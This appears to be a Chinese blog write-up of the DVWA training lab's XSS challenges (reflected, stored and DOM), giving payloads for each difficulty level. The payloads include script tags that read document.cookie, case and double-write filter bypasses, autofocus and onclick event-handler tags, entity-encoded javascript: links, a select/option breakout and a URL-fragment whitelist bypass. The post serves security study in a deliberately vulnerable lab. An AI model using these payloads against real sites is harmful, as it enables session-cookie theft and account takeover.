当前位置: 首页 > news >正文

web-xss-dvwa

目录

xss(reflected)

low

medium

high

xss(store)

low

medium

high

xss(dom)

low

medium

 high


xss(reflected)

low

没有什么过滤,直接用最普通的标签就可以了

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E#

medium

大小写绕过

?name=<SCript>alert(document.cookie)<%2FSCript>

双写绕过

?name=<sc<script>ript>alert(document.cookie)<%2Fscript>

high

过滤规则:

$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] ); 对任何模式的script都过滤了。

①换标签进行过滤
 

知识点:

autofocus 属性是一个 boolean(布尔) 属性。

autofocus 属性规定当页面加载时按钮应当自动地获得焦点。

payload:

?name=<a href="x" onfocus="alert(document.cookie)"; autofocus="">xss</a>

②进行html编码

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#41;">test</a>

gpt直接转就可以了

 

xss(store)

low

直接再内容框中输入基本的xss语言就可以了

<script>alert(document.cookie)</script>

medium

        先修改name的长度,让其写的下xss语句。再medium难度中,只能将代码写在name,写在内容里面是实现不了的

大小写绕过

<SCript>alert(document.cookie)</SCript>

双写绕过

<scr<script>ipt>alert(document.cookie)</script>

high

        先修改name的长度,让其写的下xss语句。再high难度中,只能将代码写在name,写在内容里面是实现不了的

high难度要换标签才能实现,script完全被过滤掉了

<a href="x" onclick=alert(document.cookie)>xss</a><img src="x" onclick=alert(document.cookie)>

xss(dom)

low

直接写上最普通的xss语句就可以了

?default=<script>alert(document.cookie)</scrip

medium

        select标签中只允许内嵌option标签,a、img标签嵌套再option标签中是无法实现器作用的。所以要先闭合option标签,然后再闭合select标签,这样子就可以了

?default="></option></select><a href="x" onclick=alert(1)>xss</a>

 high

源代码

        这里采用了白名单过滤的方法,只允许default值为 French English German Spanish 其中一个。

        代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?> 

payload:

?default=English#<script>alert(document.cookie)</script>

http://www.lryc.cn/news/122273.html

相关文章:

  • Exploiting Proximity-Aware Tasks for Embodied Social Navigation 论文阅读
  • 【华为OD机试】统计射击比赛成绩【2023 B卷|100分】
  • git push之后的撤销操作
  • CSS 的选择器有哪些种类?分别如何使用?
  • 【MongoDB】索引
  • 机器人CPP编程基础-02变量Variables
  • 【学会动态规划】买卖股票的最佳时机 IV(18)
  • 请解释一下CSS中的rem和em单位有什么不同,分别如何使用?
  • docker 导入镜像 REPOSITORY和tag都是null怎么解决
  • c语言操作符
  • python爬虫5:requests库-案例3
  • uni-app:实现点击按钮,进行数据累加展示(解决数据过多,导致出错)
  • 群晖6.X便捷的安装cpolar内网穿透
  • ffmpeg 4.4版本对MP4文件进行AES-CTR加密,和流式加密
  • 软件测试基础篇——Docker
  • MySQL刷题遇到的盲点(五)窗口函数
  • 【java】基础——多态
  • Go语言使用cron/v3实现定时任务
  • photoshop PS 查看像素坐标、像素颜色、像素HSB颜色
  • SpringCloud实用篇3----Docker
  • 使用阿里云服务器搭建Discuz论坛网站教程基于CentOS系统
  • gitee(码云)如何生成并添加公钥配置用户信息
  • C++QT教程3——手册4.11.1自带教程(笔记)——创建一个QT快速应用
  • 用友时空KSOA SQL注入漏洞复现(HW0day)
  • java中编写代码:如何以sftp的形式把文件从服务器上面下载下来?(有账号和密码)
  • 【24择校指南】南京大学计算机考研考情分析
  • IL汇编 ldarg 指令学习
  • 【ARM Cache 系列文章 9 番外篇 -- ARMv9 系列 Core 介绍】
  • 章节7:Burp Intruder模块
  • vue pc端项目el-upload上传图片时加水印